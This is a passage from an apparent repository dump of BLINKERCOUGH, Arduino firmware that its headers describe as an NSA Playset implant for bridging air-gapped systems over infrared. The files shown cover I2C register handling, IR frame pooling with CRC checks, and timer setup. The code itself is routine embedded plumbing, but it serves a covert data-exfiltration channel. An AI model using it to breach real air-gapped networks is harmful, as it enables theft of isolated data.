| 203 | void i2cRegisters::recvHook(int event, int param) 204 | { 205 | auto frame = (IRFrame *)param; 206 | 207 | if (!rxq) { 208 | // if rxq points to something, we have a buffer overrun 209 | rxq = FrameFactory.alloc(); 210 | IRFrame::copy((IRFrame*)rxq, frame); 211 | rxq_depth = sizeof(IRFrame); 212 | } else { 213 | debug("recv queue buffer overrun!"); 214 | } 215 | FrameFactory.free(frame); 216 | } 217 | 218 | void i2cRegisters::txenqueueHook(int event, int param) 219 | { 220 | uint8_t data = param; 221 | if (txq == NULL) { 222 | txq = FrameFactory.alloc(); 223 | } 224 | if (txq_depth < sizeof(IRFrame)) { 225 | ((IRFrame*)txq)->blob()[txq_depth] = data; 226 | txq_depth++; 227 | } 228 | if (txq_depth == sizeof(IRFrame)) { 229 | debug("filled tx queue.. sending"); 230 | //we just filled the tx queue and are ready to xmit 231 | IRFrame *frame = FrameFactory.alloc(); 232 | IRFrame::copy(frame, (IRFrame*)txq); 233 | 234 | eventManager.queueEvent(I2CTXEVENT, (int)frame); 235 | 236 | FrameFactory.free((IRFrame*)txq); 237 | txq = 0; 238 | txq_depth = 0; 239 | } 240 | } 241 | 242 | 243 | 244 | 245 | /* 246 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 247 | * 248 | * Local variables: 249 | * mode: c++ 250 | * c-basic-offset: 4 251 | * tab-width: 8 252 | * indent-tabs-mode: nil 253 | * End: 254 | * 255 | * vi: set shiftwidth=4 tabstop=8 expandtab: 256 | * :indentSize=4:tabSize=8:noTabs=true: 257 | */ 258 | -------------------------------------------------------------------------------- /i2c.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _I2C_H 22 | #define _I2C_H 23 | 24 | #include "irframe.h" 25 | #include 26 | 27 | #define SLAVE_ADDRESS 0x25 28 | 29 | class i2cRegisters 30 | { 31 | public: 32 | i2cRegisters(); 33 | 34 | void begin(); //to be called in setup() 35 | 36 | //to be called when a packet is received 37 | //public b/c of declaration of hook in global space 38 | void recvHook(int event, int param); 39 | 40 | //to be called when we want to enqueue a byte, but goes through 41 | //the event loop to get out of the interrupt context. 42 | //enqueues a byte into the transmit buffer 43 | void txenqueueHook(int event, int param); 44 | 45 | 46 | //write a "register" to be called from i2cReceiveCallback 47 | void write(uint8_t address, uint8_t data); 48 | 49 | //read a register specified at address 50 | uint8_t read(uint8_t addr); 51 | 52 | private: 53 | //read a "register" specified in address to be called form 54 | //i2cRequestCallback 55 | uint8_t read(); 56 | 57 | volatile uint8_t address; //stores address of read operation 58 | 59 | //rx is for packets to PC 60 | volatile uint16_t rxq_depth; 61 | volatile IRFrame *rxq; 62 | 63 | //tx is for packets from PC 64 | volatile uint16_t txq_depth; 65 | volatile IRFrame *txq; 66 | 67 | 68 | friend void xmit(int event, int param); //internal event handler to xmit packet 69 | friend void i2cReceiveCallback(int count); 70 | friend void i2cRequestCallback(void); 71 | }; 72 | 73 | extern i2cRegisters i2cRegs; 74 | 75 | 76 | #endif /* _I2C_H */ 77 | 78 | /* 79 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 80 | * 81 | * Local variables: 82 | * mode: c++ 83 | * c-basic-offset: 4 84 | * tab-width: 8 85 | * indent-tabs-mode: nil 86 | * End: 87 | * 88 | * vi: set shiftwidth=4 tabstop=8 expandtab: 89 | * :indentSize=4:tabSize=8:noTabs=true: 90 | */ 91 | -------------------------------------------------------------------------------- /irframe.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #include "irframe.h" 22 | #include "crc16.h" 23 | #include 24 | #include 25 | #include "util.h" //FIXME shouldn't need this 26 | #include 27 | 28 | _FrameFactory FrameFactory; 29 | 30 | #define NEIGHBOR_MAX 8 31 | #define XMIT_Q_DEPTH 2 32 | 33 | #define __uint64_t uint64_t 34 | #define __uint32_t uint32_t 35 | #define __uint16_t uint16_t 36 | 37 | /* the following is stolen from freebsd from sys/x86/include/endian.h 38 | * and then slightly mangled 39 | */ 40 | #define __bswap16(x) (__uint16_t)((x) << 8 | (x) >> 8) 41 | #define __bswap32(x) \ 42 | (((__uint32_t)__bswap16((x) & 0xffff) << 16) | __bswap16((x) >> 16)) 43 | #define __bswap64(x) \ 44 | (((__uint64_t)__bswap32((x) & 0xffffffff) << 32) | __bswap32((x) >> 32)) 45 | 46 | /* avr and pc is little endian */ 47 | uint32_t IRFrame::htonl(uint32_t hostlong) 48 | { 49 | return __bswap32(hostlong); 50 | } 51 | 52 | uint16_t IRFrame::htons(uint16_t hostshort) 53 | { 54 | return __bswap16(hostshort); 55 | } 56 | 57 | uint32_t IRFrame::ntohl(uint32_t netlong) 58 | { 59 | return __bswap32(netlong); 60 | } 61 | 62 | uint16_t IRFrame::ntohs(uint16_t netshort) 63 | { 64 | return __bswap16(netshort); 65 | } 66 | 67 | void IRFrame::init() 68 | { 69 | memset((void*)this, 0, sizeof(IRFrame)); 70 | } 71 | 72 | void IRFrame::calculate_crc() 73 | { 74 | crc16_append(blob(), FRAME_SIZE); 75 | } 76 | 77 | static void irframe_swap(IRFrame *frame) 78 | { 79 | frame->source = __bswap16(frame->source); 80 | frame->destination = __bswap16(frame->destination); 81 | } 82 | 83 | void IRFrame::hton() 84 | { 85 | irframe_swap(this); 86 | } 87 | 88 | void IRFrame::ntoh() 89 | { 90 | irframe_swap(this); 91 | } 92 | 93 | bool IRFrame::valid() const 94 | { 95 | if (!crc16_check(blob(), FRAME_SIZE)) { 96 | return false; 97 | } 98 | 99 | if (type >= INVALID_FRAME) { 100 | return false; 101 | } 102 | 103 | return true; 104 | } 105 | 106 | uint8_t* IRFrame::blob() const 107 | { 108 | return (uint8_t*)this; 109 | } 110 | 111 | void IRFrame::hexdump(IRFrame *frame) 112 | { 113 | uint8_t *blob = frame->blob(); 114 | for (uint16_t i = 0; i < sizeof(IRFrame); i += 8) { 115 | debugstart("%03d ", i); 116 | for (uint8_t j = 0; j < 8; j++) { 117 | debugcont("%02x ", blob[i+j]); 118 | } 119 | debugend(); 120 | } 121 | } 122 | 123 | void IRFrame::copy(IRFrame *dest, IRFrame *src) 124 | { 125 | if (dest && src) { 126 | memcpy((void*)dest, (void*)src, sizeof(IRFrame)); 127 | } 128 | } 129 | 130 | _FrameFactory::_FrameFactory() 131 | { 132 | high_water_mark = 0; 133 | } 134 | 135 | _FrameFactory::~_FrameFactory() 136 | { 137 | } 138 | 139 | _FrameFactory::BitArray::BitArray() 140 | { 141 | b = 0; 142 | } 143 | 144 | void _FrameFactory::BitArray::set(uint8_t bit, bool value) 145 | { 146 | bit = 7 - bit; 147 | bitWrite(b, bit, value); 148 | } 149 | 150 | bool _FrameFactory::BitArray::get(uint8_t bit) 151 | { 152 | bit = 7 - bit; 153 | return bitRead(b, bit); 154 | } 155 | 156 | 157 | IRFrame* _FrameFactory::alloc() 158 | { 159 | IRFrame *ret = NULL; 160 | ATOMIC_BLOCK(ATOMIC_RESTORESTATE) 161 | { 162 | for (uint8_t i = 0; i < NUMFRAMES; i++) { 163 | if (!allocated.get(i)) { 164 | allocated.set(i, true); 165 | ret = &(frames[i]); 166 | memset((void*)ret, 0, sizeof(IRFrame)); 167 | break; 168 | } 169 | } 170 | uint8_t water_level = 0; 171 | for (uint8_t i = 0; i < NUMFRAMES; i++) { 172 | if (allocated.get(i)) { 173 | water_level++; 174 | } 175 | } 176 | high_water_mark = max(high_water_mark, water_level); 177 | } 178 | 179 | return ret; 180 | } 181 | 182 | void _FrameFactory::free(IRFrame *item) 183 | { 184 | ATOMIC_BLOCK(ATOMIC_RESTORESTATE) 185 | { 186 | if (item == NULL) { 187 | return; 188 | } 189 | memset((void*)item, 0, sizeof(IRFrame)); 190 | for (uint8_t i = 0; i < NUMFRAMES; i++) { 191 | if (item == &(frames[i])) { 192 | allocated.set(i, false); 193 | break; 194 | } 195 | } 196 | } 197 | } 198 | 199 | void _FrameFactory::print_high_water_mark() const 200 | { 201 | debug("high water mark: %d", high_water_mark); 202 | } 203 | 204 | uint8_t _FrameFactory::get_high_water_mark() const 205 | { 206 | return high_water_mark; 207 | } 208 | 209 | 210 | /* 211 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 212 | * 213 | * Local variables: 214 | * c-basic-offset: 4 215 | * tab-width: 8 216 | * indent-tabs-mode: nil 217 | * End: 218 | * 219 | * vi: set shiftwidth=4 tabstop=8 expandtab: 220 | * :indentSize=4:tabSize=8:noTabs=true: 221 | */ 222 | -------------------------------------------------------------------------------- /irframe.h: -------------------------------------------------------------------------------- 1 | /* 2 | * BLINKERCOUGH: NSA Playset implant for IR bridging of airgap 3 | * 4 | * Copyright (C) 2015 Hacker, J.R. 5 | * 6 | * This library is free software; you can redistribute it and/or 7 | * modify it under the terms of the GNU Lesser General Public 8 | * License as published by the Free Software Foundation; either 9 | * version 2.1 of the License, or (at your option) any later version. 10 | * 11 | * This library is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | * Lesser General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU Lesser General Public 17 | * License along with this library; if not, write to the Free Software 18 | * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 19 | */ 20 | 21 | #ifndef _IRFRAME_H 22 | #define _IRFRAME_H 23 | 24 | #include 25 | 26 | #define FRAME_SIZE 128 27 | #define HEADER_SIZE (3*sizeof(uint16_t)+1) 28 | #define BLOB_SIZE (FRAME_SIZE - HEADER_SIZE) 29 | #define BROADCAST_ADDRESS 0xFFFF 30 | #define MAX_HOPS 15 31 | 32 | #define NUMFRAMES 4 33 | 34 | typedef enum FrameType_t { 35 | NEIGHBOR_DISCOVER_FRAME, 36 | NEIGHBOR_DISCOVER_ACK_FRAME, 37 | DATA_FRAME, 38 | INVALID_FRAME 39 | } FrameType; 40 | 41 | struct __attribute__ ((__packed__)) IRFrame 42 | { 43 | uint16_t source; 44 | uint16_t destination; 45 | unsigned int type: 4; 46 | unsigned int hops: 4; 47 | uint8_t payload[BLOB_SIZE]; 48 | uint16_t crc; 49 | 50 | void init(); 51 | void calculate_crc(); 52 | void hton(); 53 | void ntoh(); 54 | bool valid() const; 55 | uint8_t* blob() const; 56 | 57 | static uint32_t htonl(uint32_t hostlong); 58 | static uint16_t htons(uint16_t hostshort); 59 | static uint32_t ntohl(uint32_t netlong); 60 | static uint16_t ntohs(uint16_t netshort); 61 | static void hexdump(IRFrame *frame); 62 | static void copy(IRFrame *dest, IRFrame *src); 63 | }; 64 | 65 | // The idea here is to provide a pool of frames to avoid memory fragmentation. 66 | class _FrameFactory 67 | { 68 | public: 69 | _FrameFactory(); 70 | ~_FrameFactory(); 71 | IRFrame *alloc(); 72 | void free(IRFrame *item); 73 | uint8_t get_high_water_mark() const; 74 | void print_high_water_mark() const; 75 | 76 | private: 77 | struct BitArray 78 | { 79 | BitArray(); 80 | void set(uint8_t bit, bool value); 81 | bool get(uint8_t bit); 82 | uint8_t b; 83 | }; 84 | IRFrame frames[NUMFRAMES]; 85 | BitArray allocated; 86 | uint8_t high_water_mark; 87 | }; 88 | 89 | extern _FrameFactory FrameFactory; 90 | 91 | #endif /* _IRFRAME_H */ 92 | 93 | /* 94 | * Editor modelines - https://www.wireshark.org/tools/modelines.html 95 | * 96 | * Local variables: 97 | * c-basic-offset: 4 98 | * tab-width: 8 99 | * indent-tabs-mode: nil 100 | * End: 101 | * 102 | * vi: set shiftwidth=4 tabstop=8 expandtab: 103 | * :indentSize=4:tabSize=8:noTabs=true: 104 | */ 105 | -------------------------------------------------------------------------------- /libraries/SoftwareSerial/IRremoteInt.h: -------------------------------------------------------------------------------- 1 | /* 2 | * IRremote 3 | * Version 0.1 July, 2009 4 | * Copyright 2009 Ken Shirriff 5 | * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html 6 | * 7 | * Modified by Paul Stoffregen to support other boards and timers 8 | * 9 | * Interrupt code based on NECIRrcv by Joe Knapp 10 | * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 11 | * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ 12 | * 13 | * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) 14 | * Whynter A/C ARC-110WD added by Francesco Meschia 15 | */ 16 | 17 | #ifndef IRremoteint_h 18 | #define IRremoteint_h 19 | 20 | #if defined(ARDUINO) && ARDUINO >= 100 21 | #include 22 | #else 23 | #include 24 | #endif 25 | 26 | // define which timer to use 27 | // 28 | // Uncomment the timer you wish to use on your board. If you 29 | // are using another library which uses timer2, you have options 30 | // to switch IRremote to use a different timer. 31 | 32 | // Arduino Mega 33 | #if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 34 | //#define IR_USE_TIMER1 // tx = pin 11 35 | #define IR_USE_TIMER2 // tx = pin 9 36 | //#define IR_USE_TIMER3 // tx = pin 5 37 | //#define IR_USE_TIMER4 // tx = pin 6 38 | //#define IR_USE_TIMER5 // tx = pin 46 39 | 40 | // Teensy 1.0 41 | #elif defined(__AVR_AT90USB162__) 42 | #define IR_USE_TIMER1 // tx = pin 17 43 | 44 | // Teensy 2.0 45 | #elif defined(__AVR_ATmega32U4__) 46 | //#define IR_USE_TIMER1 // tx = pin 14 47 | //#define IR_USE_TIMER3 // tx = pin 9 48 | #define IR_USE_TIMER4_HS // tx = pin 10 49 | 50 | // Teensy 3.0 51 | #elif defined(__MK20DX128__) 52 | #define IR_USE_TIMER_CMT // tx = pin 5 53 | 54 | // Teensy++ 1.0 & 2.0 55 | #elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) 56 | //#define IR_USE_TIMER1 // tx = pin 25 57 | #define IR_USE_TIMER2 // tx = pin 1 58 | //#define IR_USE_TIMER3 // tx = pin 16 59 | 60 | // Sanguino 61 | #elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) 62 | //#define IR_USE_TIMER1 // tx = pin 13 63 | #define IR_USE_TIMER2 // tx = pin 14 64 | 65 | // Atmega8 66 | #elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) 67 | #define IR_USE_TIMER1 // tx = pin 9 68 | 69 | // Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc 70 | #else 71 | //#define IR_USE_TIMER1 // tx = pin 9 72 | #define IR_USE_TIMER2 // tx = pin 3 73 | #endif 74 | 75 | 76 | 77 | #ifdef F_CPU 78 | #define SYSCLOCK F_CPU // main Arduino clock 79 | #else 80 | #define SYSCLOCK 16000000 // main Arduino clock 81 | #endif 82 | 83 | #define ERR 0 84 | #define DECODED 1 85 | 86 | 87 | // defines for setting and clearing register bits 88 | #ifndef cbi 89 | #define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) 90 | #endif 91 | #ifndef sbi 92 | #define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) 93 | #endif 94 | 95 | // defines for timer2 (8 bits) 96 | #if defined(IR_USE_TIMER2) 97 | #define TIMER_RESET 98 | #define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) 99 | #define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) 100 | #define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) 101 | #define TIMER_DISABLE_INTR (TIMSK2 = 0) 102 | #define TIMER_INTR_NAME TIMER2_COMPA_vect 103 | #define TIMER_CONFIG_KHZ(val) ({ \ 104 | const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ 105 | TCCR2A = _BV(WGM20); \ 106 | TCCR2B = _BV(WGM22) | _BV(CS20); \ 107 | OCR2A = pwmval; \ 108 | OCR2B = pwmval / 3; \ 109 | }) 110 | #define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) 111 | #if (TIMER_COUNT_TOP < 256) 112 | #define TIMER_CONFIG_NORMAL() ({ \ 113 | TCCR2A = _BV(WGM21); \ 114 | TCCR2B = _BV(CS20); \ 115 | OCR2A = TIMER_COUNT_TOP; \ 116 | TCNT2 = 0; \ 117 | }) 118 | #else 119 | #define TIMER_CONFIG_NORMAL() ({ \ 120 | TCCR2A = _BV(WGM21); \ 121 | TCCR2B = _BV(CS21); \ 122 | OCR2A = TIMER_COUNT_TOP / 8; \ 123 | TCNT2 = 0; \ 124 | }) 125 | #endif 126 | #if defined(CORE_OC2B_PIN) 127 | #define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ 128 | #elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 129 | #define TIMER_PWM_PIN 9 /* Arduino Mega */ 130 | #elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) 131 | #define TIMER_PWM_PIN 14 /* Sanguino */ 132 | #else 133 | #define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ 134 | #endif 135 | 136 | 137 | // defines for timer1 (16 bits) 138 | #elif defined(IR_USE_TIMER1) 139 | #define TIMER_RESET 140 | #define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) 141 | #define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) 142 | #if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) 143 | #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) 144 | #define TIMER_DISABLE_INTR (TIMSK = 0) 145 | #else 146 | #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) 147 | #define TIMER_DISABLE_INTR (TIMSK1 = 0) 148 | #endif 149 | #define TIMER_INTR_NAME TIMER1_COMPA_vect 150 | #define TIMER_CONFIG_KHZ(val) ({ \ 151 | const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ 152 | TCCR1A = _BV(WGM11); \ 153 | TCCR1B = _BV(WGM13) | _BV(CS10); \ 154 | ICR1 = pwmval; \ 155 | OCR1A = pwmval / 3; \ 156 | }) 157 | #define TIMER_CONFIG_NORMAL() ({ \ 158 | TCCR1A = 0; \ 159 | TCCR1B = _BV(WGM12) | _BV(CS10); \ 160 | OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ 161 | TCNT1 = 0; \ 162 | }) 163 | #if defined(CORE_OC1A_PIN) 164 | #define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ 165 | #elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 166 | #define TIMER_PWM_PIN 11 /* Arduino Mega */ 167 | #elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) 168 | #define TIMER_PWM_PIN 13 /* Sanguino */ 169 | #else 170 | #define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ 171 | #endif 172 | 173 | 174 | // defines for timer3 (16 bits) 175 | #elif defined(IR_USE_TIMER3) 176 | #define TIMER_RESET 177 | #define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) 178 | #define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) 179 | #define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) 180 | #define TIMER_DISABLE_INTR (TIMSK3 = 0) 181 | #define TIMER_INTR_NAME TIMER3_COMPA_vect 182 | #define TIMER_CONFIG_KHZ(val) ({ \ 183 | const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ 184 | TCCR3A = _BV(WGM31); \ 185 | TCCR3B = _BV(WGM33) | _BV(CS30); \ 186 | ICR3 = pwmval; \ 187 | OCR3A = pwmval / 3; \ 188 | }) 189 | #define TIMER_CONFIG_NORMAL() ({ \ 190 | TCCR3A = 0; \ 191 | TCCR3B = _BV(WGM32) | _BV(CS30); \ 192 | OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ 193 | TCNT3 = 0; \ 194 | }) 195 | #if defined(CORE_OC3A_PIN) 196 | #define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ 197 | #elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 198 | #define TIMER_PWM_PIN 5 /* Arduino Mega */ 199 | #else 200 | #error "Please add OC3A pin number here\n" 201 | #endif 202 | 203 | 204 | // defines for timer4 (10 bits, high speed option) 205 | #elif defined(IR_USE_TIMER4_HS) 206 | #define TIMER_RESET 207 | #define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) 208 | #define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) 209 | #define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) 210 | #define TIMER_DISABLE_INTR (TIMSK4 = 0) 211 | #define TIMER_INTR_NAME TIMER4_OVF_vect 212 | #define TIMER_CONFIG_KHZ(val) ({ \ 213 | const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ 214 | TCCR4A = (1<> 8; \ 220 | OCR4C = pwmval; \ 221 | TC4H = (pwmval / 3) >> 8; \ 222 | OCR4A = (pwmval / 3) & 255; \ 223 | }) 224 | #define TIMER_CONFIG_NORMAL() ({ \ 225 | TCCR4A = 0; \ 226 | TCCR4B = _BV(CS40); \ 227 | TCCR4C = 0; \ 228 | TCCR4D = 0; \ 229 | TCCR4E = 0; \ 230 | TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ 231 | OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ 232 | TC4H = 0; \ 233 | TCNT4 = 0; \ 234 | }) 235 | #if defined(CORE_OC4A_PIN) 236 | #define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ 237 | #elif defined(__AVR_ATmega32U4__) 238 | #define TIMER_PWM_PIN 13 /* Leonardo */ 239 | #else 240 | #error "Please add OC4A pin number here\n" 241 | #endif 242 | 243 | 244 | // defines for timer4 (16 bits) 245 | #elif defined(IR_USE_TIMER4) 246 | #define TIMER_RESET 247 | #define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) 248 | #define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) 249 | #define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) 250 | #define TIMER_DISABLE_INTR (TIMSK4 = 0) 251 | #define TIMER_INTR_NAME TIMER4_COMPA_vect 252 | #define TIMER_CONFIG_KHZ(val) ({ \ 253 | const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ 254 | TCCR4A = _BV(WGM41); \ 255 | TCCR4B = _BV(WGM43) | _BV(CS40); \ 256 | ICR4 = pwmval; \ 257 | OCR4A = pwmval / 3; \ 258 | }) 259 | #define TIMER_CONFIG_NORMAL() ({ \ 260 | TCCR4A = 0; \ 261 | TCCR4B = _BV(WGM42) | _BV(CS40); \ 262 | OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ 263 | TCNT4 = 0; \ 264 | }) 265 | #if defined(CORE_OC4A_PIN) 266 | #define TIMER_PWM_PIN CORE_OC4A_PIN 267 | #elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 268 | #define TIMER_PWM_PIN 6 /* Arduino Mega */ 269 | #else 270 | #error "Please add OC4A pin number here\n" 271 | #endif 272 | 273 | 274 | // defines for timer5 (16 bits) 275 | #elif defined(IR_USE_TIMER5) 276 | #define TIMER_RESET 277 | #define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) 278 | #define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) 279 | #define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) 280 | #define TIMER_DISABLE_INTR (TIMSK5 = 0) 281 | #define TIMER_INTR_NAME TIMER5_COMPA_vect 282 | #define TIMER_CONFIG_KHZ(val) ({ \ 283 | const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ 284 | TCCR5A = _BV(WGM51); \ 285 | TCCR5B = _BV(WGM53) | _BV(CS50); \ 286 | ICR5 = pwmval; \ 287 | OCR5A = pwmval / 3; \ 288 | }) 289 | #define TIMER_CONFIG_NORMAL() ({ \ 290 | TCCR5A = 0; \ 291 | TCCR5B = _BV(WGM52) | _BV(CS50); \ 292 | OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ 293 | TCNT5 = 0; \ 294 | }) 295 | #if defined(CORE_OC5A_PIN) 296 | #define TIMER_PWM_PIN CORE_OC5A_PIN 297 | #elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) 298 | #define TIMER_PWM_PIN 46 /* Arduino Mega */ 299 | #else 300 | #error "Please add OC5A pin number here\n" 301 | #endif 302 | 303 | 304 | // defines for special carrier modulator timer 305 | #elif defined(IR_USE_TIMER_CMT) 306 | #define TIMER_RESET ({ \ 307 | uint8_t tmp = CMT_MSC; \ 308 | CMT_CMD2 = 30; \ 309 | }) 310 | #define TIMER_ENABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(2)|PORT_PCR_DSE|PORT_PCR_SRE 311 | #define TIMER_DISABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(1)|PORT_PCR_DSE|PORT_PCR_SRE 312 | #define TIMER_ENABLE_INTR NVIC_ENABLE_IRQ(IRQ_CMT) 313 | #define TIMER_DISABLE_INTR NVIC_DISABLE_IRQ(IRQ_CMT) 314 | #define TIMER_INTR_NAME cmt_isr 315 | #ifdef ISR 316 | #undef ISR 317 | #endif 318 | #define ISR(f) void f(void) 319 | #if F_BUS == 48000000 320 | #define CMT_PPS_VAL 5 321 | #else 322 | #define CMT_PPS_VAL 2 323 | #endif 324 | #define TIMER_CONFIG_KHZ(val) ({ \ 325 | SIM_SCGC4 |= SIM_SCGC4_CMT; \ 326 | SIM_SOPT2 |= SIM_SOPT2_PTD7PAD; \ 327 | CMT_PPS = CMT_PPS_VAL; \ 328 | CMT_CGH1 = 2667 / val; \ 329 | CMT_CGL1 = 5333 / val; \ 330 | CMT_CMD1 = 0; \ 331 | CMT_CMD2 = 30; \ 332 | CMT_CMD3 = 0; \ 333 | CMT_CMD4 = 0; \ 334 | CMT_OC = 0x60; \ 335 | CMT_MSC = 0x01; \ 336 | }) 337 | #define TIMER_CONFIG_NORMAL() ({ \ 338 | SIM_SCGC4 |= SIM_SCGC4_CMT; \ 339 | CMT_PPS = CMT_PPS_VAL; \ 340 | CMT_CGH1 = 1; \ 341 | CMT_CGL1 = 1; \ 342 | CMT_CMD1 = 0; \ 343 | CMT_CMD2 = 30; \ 344 | CMT_CMD3 = 0; \ 345 | CMT_CMD4 = 19; \ 346 | CMT_OC = 0; \ 347 | CMT_MSC = 0x03; \ 348 | }) 349 | #define TIMER_PWM_PIN 5 350 | 351 | 352 | #else // unknown timer 353 | #error "Internal code configuration error, no known IR_USE_TIMER# defined\n" 354 | #endif 355 | 356 | static void enableIROut(int khz) { 357 | // Enables IR output. The khz value controls the modulation frequency in kilohertz. 358 | // The IR output will be on pin 3 (OC2B). 359 | // This routine is designed for 36-40KHz; if you use it for other values, it's up to you 360 | // to make sure it gives reasonable results. (Watch out for overflow / underflow / rounding.) 361 | // TIMER2 is used in phase-correct PWM mode, with OCR2A controlling the frequency and OCR2B 362 | // controlling the duty cycle. 363 | // There is no prescaling, so the output frequency is 16MHz / (2 * OCR2A) 364 | // To turn the output on and off, we leave the PWM running, but connect and disconnect the output pin. 365 | // A few hours staring at the ATmega documentation and this will all make sense. 366 | // See my Secrets of Arduino PWM at http://arcfn.com/2009/07/secrets-of-arduino-pwm.html for details. 367 | 368 | 369 | // Disable the Timer2 Interrupt (which is used for receiving IR) 370 | TIMER_DISABLE_INTR; //Timer2 Overflow Interrupt 371 | 372 | pinMode(TIMER_PWM_PIN, OUTPUT); 373 | digitalWrite(TIMER_PWM_PIN, LOW); // When not sending PWM, we want it low 374 | 375 | // COM2A = 00: disconnect OC2A 376 | // COM2B = 00: disconnect OC2B; to send signal set to 10: OC2B non-inverted 377 | // WGM2 = 101: phase-correct PWM with OCRA as top 378 | // CS2 = 000: no prescaling 379 | // The top value for the timer. The modulation frequency will be SYSCLOCK / 2 / OCR2A. 380 | TIMER_CONFIG_KHZ(khz); 381 | } 382 | 383 | #endif 384 | -------------------------------------------------------------------------------- /libraries/SoftwareSerial/SoftwareSerial.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SoftwareSerial.cpp (formerly NewSoftSerial.cpp) 